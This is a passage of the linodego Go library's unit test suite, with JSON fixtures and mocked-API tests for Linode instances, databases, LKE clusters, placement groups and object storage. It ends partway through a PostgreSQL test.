golang-github-linode-linodego-1.47.0/test/unit/fixtures/stackscript_revision.json000066400000000000000000000001321474652371000303570ustar00rootroot00000000000000{ "id": 123, "label": "Updated Stackscript", "rev_note": "Updated revision" } golang-github-linode-linodego-1.47.0/test/unit/fixtures/stackscripts_list.json000066400000000000000000000021421474652371000276620ustar00rootroot00000000000000{ "data": [ { "id": 123, "username": "testuser", "label": "Test Stackscript", "description": "A test Stackscript", "images": ["linode/ubuntu20.04"], "deployments_total": 10, "deployments_active": 5, "is_public": true, "mine": true, "rev_note": "Initial version", "script": "#!/bin/bash\necho Hello", "user_defined_fields": [], "user_gravatar_id": "abc123" }, { "id": 456, "username": "anotheruser", "label": "Another Stackscript", "description": "Another test Stackscript", "images": ["linode/debian10"], "deployments_total": 3, "deployments_active": 1, "is_public": false, "mine": false, "rev_note": "Another version", "script": "#!/bin/bash\necho Another", "user_defined_fields": [], "user_gravatar_id": "xyz456" } ], "page": 1, "pages": 1, "results": 2 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/support_ticket_get.json000066400000000000000000000013511474652371000300310ustar00rootroot00000000000000{ "attachments": [ "screenshot.jpg", "screenshot.txt" ], "closable": false, "closed": "2015-06-04T16:07:03", "description": "I am having trouble setting the root password on my Linode. I tried following the instructions but something is not working. Can you please help me figure out how I can reset it?", "entity": { "id": 10400, "label": "linode123456", "type": "linode", "url": "/v4/linode/instances/123456" }, "gravatar_id": "474a1b7373ae0be4132649e69c36ce30", "id": 11223344, "opened": "2015-06-04T14:16:44", "opened_by": "some_user", "status": "open", "summary": "Having trouble resetting root password on my Linode", "updated": "2015-06-04T16:07:03", "updated_by": "some_other_user" }golang-github-linode-linodego-1.47.0/test/unit/fixtures/support_ticket_list.json000066400000000000000000000016041474652371000302260ustar00rootroot00000000000000{ "data": [ { "attachments": [ "screenshot.jpg", "screenshot.txt" ], "closable": false, "closed": "2015-06-04T16:07:03", "description": "I am having trouble setting the root password on my Linode. I tried following the instructions but something is not working. Can you please help me figure out how I can reset it?", "entity": { "id": 10400, "label": "linode123456", "type": "linode", "url": "/v4/linode/instances/123456" }, "gravatar_id": "474a1b7373ae0be4132649e69c36ce30", "id": 11223344, "opened": "2015-06-04T14:16:44", "opened_by": "some_user", "status": "open", "summary": "Having trouble resetting root password on my Linode", "updated": "2015-06-04T16:07:03", "updated_by": "some_other_user" } ], "page": 1, "pages": 1, "results": 1 }golang-github-linode-linodego-1.47.0/test/unit/fixtures/tag_create.json000066400000000000000000000000311474652371000262030ustar00rootroot00000000000000{ "label": "new-tag" } golang-github-linode-linodego-1.47.0/test/unit/fixtures/tagged_objects_list.json000066400000000000000000000003561474652371000301160ustar00rootroot00000000000000{ "data": [ { "type": "linode", "data": { "id": 12345, "label": "example-instance", "region": "us-east" } } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/tags_list.json000066400000000000000000000001731474652371000261050ustar00rootroot00000000000000{ "data": [ { "label": "example-tag" } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/vlan_get_ipam_address.json000066400000000000000000000003051474652371000304230ustar00rootroot00000000000000{ "data": [ { "interfaces": [ { "label": "test-vlan", "ipam_address": "10.0.0.1/24" } ] } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/fixtures/vlans_list.json000066400000000000000000000003031474652371000262650ustar00rootroot00000000000000{ "data": [ { "label": "test-vlan", "linodes": [12345], "region": "us-east", "created": "2024-12-01T12:00:00" } ], "page": 1, "pages": 1, "results": 1 } golang-github-linode-linodego-1.47.0/test/unit/images_test.go000066400000000000000000000030161474652371000242020ustar00rootroot00000000000000package unit import ( "context" "testing" "time" "github.com/stretchr/testify/assert" "github.com/linode/linodego" ) func TestImage_Replicate(t *testing.T) { fixtureData, err := fixtures.GetFixture("image_replicate") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.ImageReplicateOptions{ Regions: []string{ "us-mia", "us-ord", }, } base.MockPost("images/private%2F1234/regions", fixtureData) image, err := base.Client.ReplicateImage(context.Background(), "private/1234", requestData) assert.NoError(t, err) assert.Equal(t, "linode/debian11", image.ID) assert.Equal(t, "Debian 11", image.Label) assert.Equal(t, "Example image description.", image.Description) assert.Equal(t, "Debian", image.Vendor) assert.Equal(t, true, image.IsPublic) assert.Equal(t, false, image.Deprecated) assert.Equal(t, "available", string(image.Status)) assert.Equal(t, "2021-08-14T22:44:02Z", image.Created.Format(time.RFC3339)) assert.Equal(t, "2021-08-14T22:44:02Z", image.Updated.Format(time.RFC3339)) assert.Equal(t, "2026-07-01T04:00:00Z", image.EOL.Format(time.RFC3339)) assert.Equal(t, 2500, image.Size) assert.Equal(t, 1234567, image.TotalSize) assert.ElementsMatch(t, []string{"cloud-init", "distributed-sites"}, image.Capabilities) assert.Len(t, image.Regions, 1) assert.Equal(t, "us-iad", image.Regions[0].Region) assert.Equal(t, "available", string(image.Regions[0].Status)) assert.ElementsMatch(t, []string{"repair-image", "fix-1"}, image.Tags) } golang-github-linode-linodego-1.47.0/test/unit/instance_disks_test.go000066400000000000000000000014211474652371000257340ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestInstance_Disks_Clone(t *testing.T) { fixtureData, err := fixtures.GetFixture("instance_disks_clone") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("linode/instances/12345/disks/123/clone", fixtureData) opts := linodego.InstanceDiskCloneOptions{} disk, err := base.Client.CloneInstanceDisk(context.Background(), 12345, 123, opts) assert.NoError(t, err) assert.Equal(t, linodego.DiskFilesystem("ext4"), disk.Filesystem) assert.Equal(t, 123, disk.ID) assert.Equal(t, "Debian 9 Disk", disk.Label) assert.Equal(t, 48640, disk.Size) assert.Equal(t, linodego.DiskStatus("ready"), disk.Status) } golang-github-linode-linodego-1.47.0/test/unit/instance_nodebalancers_test.go000066400000000000000000000022761474652371000274300ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" ) func TestInstance_NodeBalancers_List(t *testing.T) { fixtures := NewTestFixtures() fixtureData, err := fixtures.GetFixture("instance_nodebalancers_list") if err != nil { t.Fatalf("Failed to load fixture: %v", err) } var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("linode/instances/12345/nodebalancers", fixtureData) nodebalancers, err := base.Client.ListInstanceNodeBalancers(context.Background(), 12345, nil) if err != nil { t.Fatalf("Error listing instance nodebalancers: %v", err) } assert.Equal(t, 1, len(nodebalancers)) nb := nodebalancers[0] assert.Equal(t, 0, nb.ClientConnThrottle) assert.Equal(t, "192.0.2.1.ip.linodeusercontent.com", *nb.Hostname) assert.Equal(t, 12345, nb.ID) assert.Equal(t, "203.0.113.1", *nb.IPv4) assert.Nil(t, nb.IPv6) assert.Equal(t, "balancer12345", *nb.Label) assert.Equal(t, "us-east", nb.Region) assert.Equal(t, []string{"example tag", "another example"}, nb.Tags) assert.Equal(t, 28.91200828552246, *nb.Transfer.In) assert.Equal(t, 3.5487728118896484, *nb.Transfer.Out) assert.Equal(t, 32.46078109741211, *nb.Transfer.Total) } golang-github-linode-linodego-1.47.0/test/unit/instance_stats_test.go000066400000000000000000000026441474652371000257650ustar00rootroot00000000000000package unit import ( "context" "fmt" "testing" "github.com/stretchr/testify/assert" ) func TestInstanceStats_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("instance_stats_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("linode/instances/36183732/stats", fixtureData) stats, err := base.Client.GetInstanceStats(context.Background(), 36183732) assert.NoError(t, err) assert.Equal(t, "linode.com - my-linode (linode123456) - day (5 min avg)", stats.Title) fmt.Printf("Stats: %+v\n", stats) // TODO:: Debug for assertion remove later assert.Len(t, stats.Data.CPU, 1) assert.Len(t, stats.Data.IO.IO, 1) assert.Len(t, stats.Data.IO.Swap, 1) assert.Len(t, stats.Data.NetV4.In, 1) assert.Len(t, stats.Data.NetV4.Out, 1) assert.Len(t, stats.Data.NetV4.PrivateIn, 1) assert.Len(t, stats.Data.NetV4.PrivateOut, 1) assert.Len(t, stats.Data.NetV6.In, 1) assert.Len(t, stats.Data.NetV6.Out, 1) assert.Len(t, stats.Data.NetV6.PrivateIn, 1) assert.Len(t, stats.Data.NetV6.PrivateOut, 1) assert.Equal(t, 0.42, stats.Data.CPU[0][1]) assert.Equal(t, 0.19, stats.Data.IO.IO[0][1]) assert.Equal(t, 0.0, stats.Data.IO.Swap[0][1]) assert.Equal(t, 2004.36, stats.Data.NetV4.In[0][1]) assert.Equal(t, 3928.91, stats.Data.NetV4.Out[0][1]) assert.Equal(t, 195.18, stats.Data.NetV6.PrivateIn[0][1]) assert.Equal(t, 5.6, stats.Data.NetV6.PrivateOut[0][1]) } golang-github-linode-linodego-1.47.0/test/unit/instance_test.go000066400000000000000000000055241474652371000245470ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestListInstances(t *testing.T) { fixtures := NewTestFixtures() fixtureData, err := fixtures.GetFixture("linodes_list") if err != nil { t.Fatalf("Failed to load fixture: %v", err) } var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("linode/instances", fixtureData) instances, err := base.Client.ListInstances(context.Background(), nil) if err != nil { t.Fatalf("Error listing instances: %v", err) } assert.Equal(t, 1, len(instances)) linode := instances[0] assert.Equal(t, 123, linode.ID) assert.Equal(t, "linode123", linode.Label) assert.Equal(t, "running", string(linode.Status)) assert.Equal(t, "203.0.113.1", linode.IPv4[0].String()) assert.Equal(t, "g6-standard-1", linode.Type) assert.Equal(t, "us-east", linode.Region) assert.Equal(t, 4096, linode.Specs.Memory) assert.Equal(t, "2018-01-01 00:01:01 +0000 UTC", linode.Backups.LastSuccessful.String()) assert.Equal(t, "2468", linode.PlacementGroup.MigratingTo) } func TestInstance_Migrate(t *testing.T) { client := createMockClient(t) upgrade := false requestData := linodego.InstanceMigrateOptions{ Type: "cold", Region: "us-west", Upgrade: &upgrade, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/linode/instances/123456/migrate"), mockRequestBodyValidate(t, requestData, nil)) if err := client.MigrateInstance(context.Background(), 123456, requestData); err != nil { t.Fatal(err) } } func TestInstance_ResetPassword(t *testing.T) { client := createMockClient(t) requestData := linodego.InstancePasswordResetOptions{ RootPass: "@v3ry53cu3eP@s5w0rd", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "linode/instances/123456/password"), mockRequestBodyValidate(t, requestData, nil)) if err := client.ResetInstancePassword(context.Background(), 123456, requestData); err != nil { t.Fatal(err) } } func TestInstance_Get_MonthlyTransfer(t *testing.T) { fixtureData, err := fixtures.GetFixture("instance_monthly_transfer_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("linode/instances/12345/transfer/2024/11", fixtureData) stats, err := base.Client.GetInstanceTransferMonthly(context.Background(), 12345, 2024, 11) assert.NoError(t, err) assert.Equal(t, 30471077120, stats.BytesIn) assert.Equal(t, 22956600198, stats.BytesOut) assert.Equal(t, 53427677318, stats.BytesTotal) } func TestInstance_Upgrade(t *testing.T) { var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("linode/instances/12345/mutate", nil) err := base.Client.UpgradeInstance(context.Background(), 12345, linodego.InstanceUpgradeOptions{ AllowAutoDiskResize: true, }) assert.NoError(t, err) } golang-github-linode-linodego-1.47.0/test/unit/lke_clusters_test.go000066400000000000000000000022631474652371000254370ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" ) func TestLKECluster_Regenerate(t *testing.T) { client := createMockClient(t) requestData := linodego.LKEClusterRegenerateOptions{ KubeConfig: true, ServiceToken: false, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "clusters/1234/regenerate"), mockRequestBodyValidate(t, requestData, nil)) if _, err := client.RegenerateLKECluster(context.Background(), 1234, requestData); err != nil { t.Fatal(err) } } func TestLKECluster_DeleteServiceToken(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "clusters/1234/servicetoken"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteLKEClusterServiceToken(context.Background(), 1234); err != nil { t.Fatal(err) } } func TestLKECluster_KubeconfigDelete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "clusters/1234/kubeconfig"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteLKEClusterKubeconfig(context.Background(), 1234); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/lke_node_pools_test.go000066400000000000000000000026671474652371000257440ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" "github.com/jarcoal/httpmock" ) func TestLKENodePool_Recycle(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "clusters/1234/pools/12345/recycle"), httpmock.NewStringResponder(200, "{}")) if err := client.RecycleLKENodePool(context.Background(), 1234, 12345); err != nil { t.Fatal(err) } } func TestLKENodePoolNode_Recycle(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "clusters/1234/nodes/abcde/recycle"), httpmock.NewStringResponder(200, "{}")) if err := client.RecycleLKENodePoolNode(context.Background(), 1234, "abcde"); err != nil { t.Fatal(err) } } func TestLKENodePoolNode_Get(t *testing.T) { fixtures := NewTestFixtures() fixtureData, err := fixtures.GetFixture("lke_node_pool_node_get") if err != nil { t.Fatalf("Failed to load fixture: %v", err) } var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("lke/clusters/1234/nodes/12345-abcde", fixtureData) node, err := base.Client.GetLKENodePoolNode(context.Background(), 1234, "12345-abcde") if err != nil { t.Fatalf("Error getting LKE node pool node: %v", err) } assert.Equal(t, "12345-abcde", node.ID) assert.Equal(t, 123456, node.InstanceID) assert.Equal(t, linodego.LKELinodeStatus("ready"), node.Status) } golang-github-linode-linodego-1.47.0/test/unit/mysql_test.go000066400000000000000000000141401474652371000241020ustar00rootroot00000000000000package unit import ( "context" "github.com/jarcoal/httpmock" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestListDatabaseMySQL_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("mysql_databases_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/mysql/instances", fixtureData) databases, err := base.Client.ListMySQLDatabases(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, databases, "Expected non-empty mysql database list") } func TestDatabaseMySQL_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("mysql_database_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/mysql/instances/123", fixtureData) db, err := base.Client.GetMySQLDatabase(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, 3, db.ClusterSize) assert.Equal(t, "mysql", db.Engine) assert.Equal(t, 123, db.ID) assert.Equal(t, "example-db", db.Label) assert.Equal(t, linodego.DatabasePlatform("rdbms-default"), db.Platform) assert.Equal(t, 3306, db.Port) assert.Equal(t, "us-east", db.Region) assert.Equal(t, linodego.DatabaseStatus("active"), db.Status) assert.Equal(t, 15, db.TotalDiskSizeGB) assert.Equal(t, "g6-dedicated-2", db.Type) assert.Equal(t, 3, db.Updates.Duration) assert.Equal(t, linodego.DatabaseDayOfWeek(1), db.Updates.DayOfWeek) assert.Equal(t, linodego.DatabaseMaintenanceFrequency("weekly"), db.Updates.Frequency) assert.Equal(t, 0, db.Updates.HourOfDay) assert.Equal(t, 2, db.UsedDiskSizeGB) assert.Equal(t, "8.0.26", db.Version) } func TestDatabaseMySQL_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("mysql_database_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.MySQLUpdateOptions{ Label: "example-db-updated", } base.MockPut("databases/mysql/instances/123", fixtureData) db, err := base.Client.UpdateMySQLDatabase(context.Background(), 123, requestData) assert.NoError(t, err) assert.Equal(t, 3, db.ClusterSize) assert.Equal(t, "mysql", db.Engine) assert.Equal(t, 123, db.ID) assert.Equal(t, "example-db-updated", db.Label) assert.Equal(t, linodego.DatabasePlatform("rdbms-default"), db.Platform) assert.Equal(t, 3306, db.Port) assert.Equal(t, "us-east", db.Region) assert.Equal(t, linodego.DatabaseStatus("active"), db.Status) assert.Equal(t, 15, db.TotalDiskSizeGB) assert.Equal(t, "g6-dedicated-2", db.Type) assert.Equal(t, 3, db.Updates.Duration) assert.Equal(t, linodego.DatabaseDayOfWeek(1), db.Updates.DayOfWeek) assert.Equal(t, linodego.DatabaseMaintenanceFrequency("weekly"), db.Updates.Frequency) assert.Equal(t, 0, db.Updates.HourOfDay) assert.Equal(t, 2, db.UsedDiskSizeGB) assert.Equal(t, "8.0.26", db.Version) } func TestDatabaseMySQL_Create(t *testing.T) { fixtureData, err := fixtures.GetFixture("mysql_database_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.MySQLCreateOptions{ Label: "example-db-created", Region: "us-east", Type: "g6-dedicated-2", Engine: "mysql", } base.MockPost("databases/mysql/instances", fixtureData) db, err := base.Client.CreateMySQLDatabase(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, 3, db.ClusterSize) assert.Equal(t, "mysql", db.Engine) assert.Equal(t, 123, db.ID) assert.Equal(t, "example-db-created", db.Label) assert.Equal(t, linodego.DatabasePlatform("rdbms-default"), db.Platform) assert.Equal(t, 3306, db.Port) assert.Equal(t, "us-east", db.Region) assert.Equal(t, linodego.DatabaseStatus("active"), db.Status) assert.Equal(t, 15, db.TotalDiskSizeGB) assert.Equal(t, "g6-dedicated-2", db.Type) assert.Equal(t, 3, db.Updates.Duration) assert.Equal(t, linodego.DatabaseDayOfWeek(1), db.Updates.DayOfWeek) assert.Equal(t, linodego.DatabaseMaintenanceFrequency("weekly"), db.Updates.Frequency) assert.Equal(t, 0, db.Updates.HourOfDay) assert.Equal(t, 2, db.UsedDiskSizeGB) assert.Equal(t, "8.0.26", db.Version) } func TestDatabaseMySQL_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "databases/mysql/instances/123"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteMySQLDatabase(context.Background(), 123); err != nil { t.Fatal(err) } } func TestDatabaseMySQL_SSL_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("mysql_database_ssl_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/mysql/instances/123/ssl", fixtureData) ssl, err := base.Client.GetMySQLDatabaseSSL(context.Background(), 123) assert.NoError(t, err) expectedCACertificate := []byte("-----BEGIN CERTIFICATE-----\nThis is a test certificate\n-----END CERTIFICATE-----\n") assert.Equal(t, expectedCACertificate, ssl.CACertificate) } func TestDatabaseMySQL_Credentials_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("mysql_database_credentials_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/mysql/instances/123/credentials", fixtureData) creds, err := base.Client.GetMySQLDatabaseCredentials(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, "linroot", creds.Username) assert.Equal(t, "s3cur3P@ssw0rd", creds.Password) } func TestDatabaseMySQL_Credentials_Reset(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "databases/mysql/instances/123/credentials/reset"), httpmock.NewStringResponder(200, "{}")) if err := client.ResetMySQLDatabaseCredentials(context.Background(), 123); err != nil { t.Fatal(err) } } func TestDatabaseMySQL_Patch(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "databases/mysql/instances/123/patch"), httpmock.NewStringResponder(200, "{}")) if err := client.PatchMySQLDatabase(context.Background(), 123); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/object_storage_test.go000066400000000000000000000024311474652371000257270ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" "github.com/jarcoal/httpmock" ) func TestObjectStorage_Cancel(t *testing.T) { client := createMockClient(t) desiredResponse := make(map[string]interface{}) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "/object-storage/cancel"), httpmock.NewJsonResponderOrPanic(200, &desiredResponse)) err := client.CancelObjectStorage(context.Background()) if err != nil { t.Fatal(err) } } func TestObjectStorage_ObjectList(t *testing.T) { fixtureData, err := fixtures.GetFixture("object_storage_buckets_object_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("object-storage/buckets/us-east/bucket-name/object-list", fixtureData) content, err := base.Client.ListObjectStorageBucketContents(context.Background(), "us-east", "bucket-name", nil) if err != nil { t.Fatalf("Error getting content: %v", err) } assert.Equal(t, false, content.IsTruncated) assert.Nil(t, content.NextMarker) assert.Equal(t, "example", content.Data[0].Name) assert.Equal(t, "bfc70ab2-e3d4-42a4-ad55-83921822270c", content.Data[0].Owner) assert.Equal(t, 123, content.Data[0].Size) assert.Equal(t, "9f254c71e28e033bf9e0e5262e3e72ab", content.Data[0].Etag) } golang-github-linode-linodego-1.47.0/test/unit/placement_group_test.go000066400000000000000000000137541474652371000261330ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestPlacementGroups_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("placement_groups_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("placement/groups", fixtureData) pgs, err := base.Client.ListPlacementGroups(context.Background(), nil) assert.NoError(t, err) assert.Equal(t, 1, len(pgs)) pg := pgs[0] assert.Equal(t, 528, pg.ID) assert.Equal(t, true, pg.IsCompliant) assert.Equal(t, "PG_Miami_failover", pg.Label) assert.Equal(t, true, pg.Members[0].IsCompliant) assert.Equal(t, 123, pg.Members[0].LinodeID) assert.Equal(t, 123, pg.Migrations.Inbound[0].LinodeID) assert.Equal(t, 456, pg.Migrations.Outbound[0].LinodeID) assert.Equal(t, linodego.PlacementGroupPolicy("strict"), pg.PlacementGroupPolicy) assert.Equal(t, linodego.PlacementGroupType("anti-affinity:local"), pg.PlacementGroupType) assert.Equal(t, "us-mia", pg.Region) } func TestPlacementGroups_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("placement_groups_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("placement/groups/528", fixtureData) pg, err := base.Client.GetPlacementGroup(context.Background(), 528) assert.NoError(t, err) assert.Equal(t, 528, pg.ID) assert.Equal(t, true, pg.IsCompliant) assert.Equal(t, "PG_Miami_failover", pg.Label) assert.Equal(t, true, pg.Members[0].IsCompliant) assert.Equal(t, 123, pg.Members[0].LinodeID) assert.Equal(t, 123, pg.Migrations.Inbound[0].LinodeID) assert.Equal(t, 456, pg.Migrations.Outbound[0].LinodeID) assert.Equal(t, linodego.PlacementGroupPolicy("strict"), pg.PlacementGroupPolicy) assert.Equal(t, linodego.PlacementGroupType("anti-affinity:local"), pg.PlacementGroupType) assert.Equal(t, "us-mia", pg.Region) } func TestPlacementGroups_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "placement/groups/528"), httpmock.NewStringResponder(200, "{}")) if err := client.DeletePlacementGroup(context.Background(), 528); err != nil { t.Fatal(err) } } func TestPlacementGroups_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("placement_group_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.PlacementGroupUpdateOptions{ Label: "PG_Miami_failover_new", } base.MockPut("placement/groups/528", fixtureData) pg, err := base.Client.UpdatePlacementGroup(context.Background(), 528, requestData) assert.NoError(t, err) assert.Equal(t, 528, pg.ID) assert.Equal(t, true, pg.IsCompliant) assert.Equal(t, "PG_Miami_failover_new", pg.Label) assert.Equal(t, true, pg.Members[0].IsCompliant) assert.Equal(t, 123, pg.Members[0].LinodeID) assert.Equal(t, linodego.PlacementGroupPolicy("strict"), pg.PlacementGroupPolicy) assert.Equal(t, linodego.PlacementGroupType("anti-affinity:local"), pg.PlacementGroupType) assert.Equal(t, "us-mia", pg.Region) } func TestPlacementGroups_Create(t *testing.T) { fixtureData, err := fixtures.GetFixture("placement_group_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.PlacementGroupCreateOptions{ Label: "PG_Miami_failover", Region: "us-mia", PlacementGroupType: linodego.PlacementGroupType("anti-affinity:local"), PlacementGroupPolicy: linodego.PlacementGroupPolicy("strict"), } base.MockPost("placement/groups", fixtureData) pg, err := base.Client.CreatePlacementGroup(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, 528, pg.ID) assert.Equal(t, true, pg.IsCompliant) assert.Equal(t, "PG_Miami_failover", pg.Label) assert.Equal(t, true, pg.Members[0].IsCompliant) assert.Equal(t, 123, pg.Members[0].LinodeID) assert.Equal(t, linodego.PlacementGroupPolicy("strict"), pg.PlacementGroupPolicy) assert.Equal(t, linodego.PlacementGroupType("anti-affinity:local"), pg.PlacementGroupType) assert.Equal(t, "us-mia", pg.Region) } func TestPlacementGroups_Assign(t *testing.T) { fixtureData, err := fixtures.GetFixture("placement_group_assign") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.PlacementGroupAssignOptions{ Linodes: []int{456}, } base.MockPost("placement/groups/528/assign", fixtureData) pg, err := base.Client.AssignPlacementGroupLinodes(context.Background(), 528, requestData) assert.NoError(t, err) assert.Equal(t, 528, pg.ID) assert.Equal(t, true, pg.IsCompliant) assert.Equal(t, "PG_Miami_failover", pg.Label) assert.Equal(t, true, pg.Members[0].IsCompliant) assert.Equal(t, 123, pg.Members[0].LinodeID) assert.Equal(t, true, pg.Members[1].IsCompliant) assert.Equal(t, 456, pg.Members[1].LinodeID) assert.Equal(t, linodego.PlacementGroupPolicy("strict"), pg.PlacementGroupPolicy) assert.Equal(t, linodego.PlacementGroupType("anti-affinity:local"), pg.PlacementGroupType) assert.Equal(t, "us-mia", pg.Region) } func TestPlacementGroups_Unassign(t *testing.T) { fixtureData, err := fixtures.GetFixture("placement_group_unassign") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.PlacementGroupUnAssignOptions{ Linodes: []int{456}, } base.MockPost("placement/groups/528/unassign", fixtureData) pg, err := base.Client.UnassignPlacementGroupLinodes(context.Background(), 528, requestData) assert.NoError(t, err) assert.Equal(t, 528, pg.ID) assert.Equal(t, true, pg.IsCompliant) assert.Equal(t, "PG_Miami_failover", pg.Label) assert.Equal(t, true, pg.Members[0].IsCompliant) assert.Equal(t, 123, pg.Members[0].LinodeID) assert.Equal(t, linodego.PlacementGroupPolicy("strict"), pg.PlacementGroupPolicy) assert.Equal(t, linodego.PlacementGroupType("anti-affinity:local"), pg.PlacementGroupType) assert.Equal(t, "us-mia", pg.Region) } golang-github-linode-linodego-1.47.0/test/unit/postgres_test.go000066400000000000000000000144131474652371000246060ustar00rootroot00000000000000package unit import ( "context" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" "testing" ) func TestListDatabasePostgreSQL_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("postgresql_databases_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/postgresql/instances", fixtureData) databases, err := base.Client.ListPostgresDatabases(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) assert.NotEmpty(t, databases, "Expected non-empty postgresql database list") } func TestDatabasePostgreSQL_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("postgresql_database_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("databases/postgresql/instances/123", fixtureData) db, err := base.Client.GetPostgresDatabase(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, 3, db.ClusterSize) assert.Equal(t, "postgresql", db.Engine) assert.Equal(t, 123, db.ID) assert.Equal(t, "example-db", db.Label) assert.Equal(t, linodego.DatabasePlatform("rdbms-default"), db.Platform) assert.Equal(t, 3306, db.Port) assert.Equal(t, "us-east", db.Region) assert.Equal(t, linodego.DatabaseStatus("active"), db.Status) assert.Equal(t, 15, db.TotalDiskSizeGB) assert.Equal(t, "g6-dedicated-2", db.Type) assert.Equal(t, 3, db.Updates.Duration) assert.Equal(t, linodego.DatabaseDayOfWeek(1), db.Updates.DayOfWeek) assert.Equal(t, linodego.DatabaseMaintenanceFrequency("weekly"), db.Updates.Frequency) assert.Equal(t, 0, db.Updates.HourOfDay) assert.Equal(t, 2, db.UsedDiskSizeGB) assert.Equal(t, "13.2", db.Version) } func TestDatabasePostgreSQL_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("postgresql_database_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.PostgresUpdateOptions{ Label: "example-db-updated", } base.MockPut("databases/postgresql/instances/123", fixtureData) db, err := base.Client.UpdatePostgresDatabase(context.Background(), 123, requestData) assert.NoError(t, err) 